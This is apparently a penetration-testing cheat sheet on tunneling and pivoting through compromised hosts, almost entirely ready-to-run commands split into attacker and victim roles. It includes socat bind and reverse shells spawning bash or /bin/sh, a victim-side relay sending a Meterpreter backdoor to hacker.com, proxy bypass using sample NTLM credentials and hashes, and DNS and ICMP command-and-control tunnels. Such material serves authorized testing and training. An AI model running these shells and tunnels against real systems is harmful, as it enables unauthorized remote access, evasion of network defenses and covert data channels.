# Tunneling and Port Forwarding ## **SSH** SSH graphical connection \(X\) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` ### Local Port2Port Open new Port in SSH Server --> Other port ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` ```bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere ``` ### Port2Port Local port --> Compromised host \(SSH\) --> Third\_box:Port ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example sudo ssh -L 631::631 -N -f -l ``` ### Port2hostnet \(proxychains\) Local Port --> Compromised host\(SSH\) --> Wherever ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` ### VPN-Tunnel You need **root in both devices** \(as you are going to create new interfaces\) and the sshd config has to allow root login: `PermitRootLogin yes` `PermitTunnel yes` ```bash ssh username@server -w any:any #This wil create Tun interfaces in both devices ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ``` Enable forwarding in Server side ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` Set new route on client side ```text route add -net 10.0.0.0/16 gw 1.1.1.1 ``` ## SSHUTTLE You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host. Example, forwarding all the traffic going to 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` ## Meterpreter ### Port2Port Local port --> Compromised host \(active session\) --> Third\_box:Port ```bash # Inside a meterpreter session portfwd add -l -p -r ``` ### Port2hostnet \(proxychains\) ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 2552.55.255.0 8) use auxiliary/server/socks4a run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` Another way: ```bash background #meterpreter session use post/windows/manage/autoroute set SESSION set SUBNET #Ex: set SUBNET 10.1.13.0 set NETMASK run use auxiliary/server/socks4a run #Proxy port 1080 by default ``` ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) You need to upload a web file tunnel: ashx\|aspx\|js\|jsp\|php\|php\|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` ## Rpivot [https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot) Reverse tunnel. The tunnel is started from the victim. A socks4 proxy is created on 127.0.0.1:1080 ```bash attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` ```bash victim> python client.py --server-ip --server-port 9999 ``` Pivot through **NTLM proxy** ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45 ``` ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) ### Bind shell ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` ### Reverse shell ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ### Port2Port ```bash socat TCP4-LISTEN:,fork TCP4:, & ``` ### Port2Port through socks ```bash socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` ### Meterpreter through SSL Socat ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 ``` ```bash victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` [https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) ### SSL Socat Tunnel **/bin/sh console** Create certificates in both sides: Client and Server ```bash # Execute this commands in both sides FILENAME=socatssl openssl genrsa -out $FILENAME.key 1024 openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt cat $FILENAME.key $FILENAME.crt >$FILENAME.pem chmod 600 $FILENAME.key $FILENAME.pem ``` ```bash attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` ### Remote Port2Port Connect the local SSH port \(22\) to the 443 port of the attacker host ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim ``` ## Plink.exe It's like a console PuTTY version \( the options are very similar to a ssh client\). As this binary will be executed in the victim and it is a ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward a only locally accessible port to a port in our machine: ```bash plink.exe -l -pw -R :: plink.exe -l root -pw password -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` ## NTLM proxy bypass The previously mentioned tool: **Rpivot** **OpenVPN** can also bypass it, setting these options in the configuration file: ```bash http-proxy 8080 ntlm ``` ### Cntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port. Example that forward port 443 ```text Username Alice Password P@ssw0rd Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222. You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222. ## YARP A reverse proxy create by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNS Tunneling ### Iodine [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) Root is needed in both systems to create tun adapters and tunnels data between them using DNS queries. ```text attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` The tunnel will be really slow. You can create a compressed SSH connection through this tunnel by using: ```text ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` ### DNSCat2 Establishes a C&C channel through DNS. It doesn't need root privileges. ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com ``` **Port forwarding with dnscat** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` #### Change proxychains DNS Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** \(hardcoded\). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**. ## Tunnels in Go [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) ## ICMP Tunneling ### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans) [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) Root is needed in both systems to create tun adapters and tunnels data between them using ICMP echo requests. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` ## Other tools to check * [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)